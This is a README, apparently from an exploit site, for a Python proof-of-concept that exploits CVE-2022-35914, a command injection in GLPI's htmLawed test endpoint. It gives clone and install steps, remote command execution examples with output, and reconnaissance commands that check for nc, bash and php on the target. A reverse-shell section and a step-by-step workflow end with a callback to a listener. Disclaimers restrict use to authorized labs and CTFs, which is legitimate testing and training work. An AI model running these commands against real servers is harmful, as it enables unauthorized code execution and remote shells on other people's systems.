## https://sploitus.com/exploit?id=A52CF91D-CF40-5FB1-AA64-8346C926276E
# CVE-2022-35914 by cyb3rk0ala
PoC for **CVE-2022-35914**, a command-injection vulnerability involving the `htmLawed` test component in vulnerable GLPI installations.
The tool provides command execution through the vulnerable endpoint and includes optional callback functionality for authorized lab environments.
> **Disclaimer:** This project is intended for authorized security testing, CTFs, OffSec/PG labs, and educational purposes only. Do not use it against systems without explicit authorization.
---
## Vulnerability
| Field | Details |
|---|---|
| **CVE** | `CVE-2022-35914` |
| **Software** | GLPI |
| **Component** | htmLawed |
| **Vulnerable endpoint** | `/vendor/htmlawed/htmlawed/htmLawedTest.php` |
The vulnerable component can allow command execution through crafted parameters on affected installations.
---
## Features
- Command execution
- Automatic target URL construction
- Configurable target HTTP port
- Automatic session/token retrieval
- Command-output extraction
- Target checking
- Custom User-Agent support
- Optional callback configuration
- Colored terminal output
- Python 3 CLI interface
---
## Requirements
Python 3 and the required dependencies.
### Kali Linux
```bash
sudo apt install python3-requests python3-bs4
```
### Virtual Environment
```bash
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
```
---
## Installation
Clone the repository:
```bash
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
```
Make the script executable:
```bash
chmod +x glpi.py
```
---
## Usage
### Help
```bash
python3 glpi.py -h
```
### Basic Command Execution
```bash
python3 glpi.py -u TARGET_IP -c 'id'
```
Example output:
```text
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
```
---
## Command Execution
The `-c` option specifies the command to execute.
### Current User
```bash
python3 glpi.py -u TARGET_IP -c 'whoami'
```
### Current Privileges
```bash
python3 glpi.py -u TARGET_IP -c 'id'
```
### Operating System
```bash
python3 glpi.py -u TARGET_IP -c 'uname -a'
```
### Available Utilities
```bash
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
```
---
## Options
| Option | Description | Default |
|---|---|---|
| `-u`, `--url` | Target URL or IP address | Required |
| `-c`, `--cmd` | Command to execute | `id` |
| `--check` | Check the target without executing a command | Disabled |
| `--user-agent` | Custom HTTP User-Agent | Default |
| `-p`, `--rport` | Target HTTP service port | `80` |
| `-l`, `--lhost` | Callback/listener IP address | — |
| `-lp`, `--lport` | Callback/listener port | — |
---
## Target Port
The `-p` / `--rport` option specifies the port where the vulnerable GLPI web service is running.
Default:
```text
80
```
Example:
```bash
python3 glpi.py -u TARGET_IP -p 8080 -c 'id'
```
---
## Target Check
Use `--check` to verify that the htmLawed test page is available without executing a command:
```bash
python3 glpi.py -u TARGET_IP --check
```
---
## Custom User-Agent
A custom HTTP User-Agent can be supplied with:
```bash
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
```
---
## Reverse Shell
The script supports optional callback parameters:
```text
-l Callback/listener IP
-lp Callback/listener port
```
Example:
```bash
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
```
In this example:
```text
Target: TARGET_IP:80
Callback: LHOST:80
```
The two ports have different purposes:
```text
-p = Target GLPI HTTP port
-lp = Callback/listener port
```
---
## OffSec Lab Note
During testing in an OffSec lab environment, the callback successfully worked over **TCP port 80**.
Other callback ports, such as `4444`, may time out depending on the lab network and egress filtering.
For the tested environment:
```bash
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
```
The listener was configured on the Kali VPN interface using TCP port `80`.
> **Important:** Using port 80 for the callback is an environment-specific observation. It is not a requirement of CVE-2022-35914.
---
## Troubleshooting
### Command Execution Works but Callback Does Not
First verify command execution:
```bash
python3 glpi.py -u TARGET_IP -c 'id'
```
Check whether the required utilities exist:
```bash
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
```
If command execution works but the callback times out, check the VPN routing and callback port.
---
### Command Output Looks Incorrect
If command-output parsing fails, the complete HTTP response is saved to:
```text
/tmp/glpi.html
```
Inspect it with:
```bash
less /tmp/glpi.html
```
or:
```bash
mousepad /tmp/glpi.html
```
---
## Example Workflow
### 1. Check the Target
```bash
python3 glpi.py \
-u TARGET_IP \
--check
```
### 2. Confirm Command Execution
```bash
python3 glpi.py \
-u TARGET_IP \
-c 'id'
```
### 3. Identify the Current User
```bash
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
```
### 4. Check Available Tools
```bash
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
```
### 5. Configure the Callback
For the tested OffSec lab environment:
```bash
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
```
---
## Disclaimer
This project is provided for educational and authorized security-testing purposes only.
The author is not responsible for any misuse, damage, unauthorized access, or illegal activity involving this software.
Always obtain explicit authorization before testing a system.
---
## Author
**cyb3rk0ala**
---
## CVE
**CVE-2022-35914**
---
## Project
**CVE-2022-35914 by cyb3rk0ala**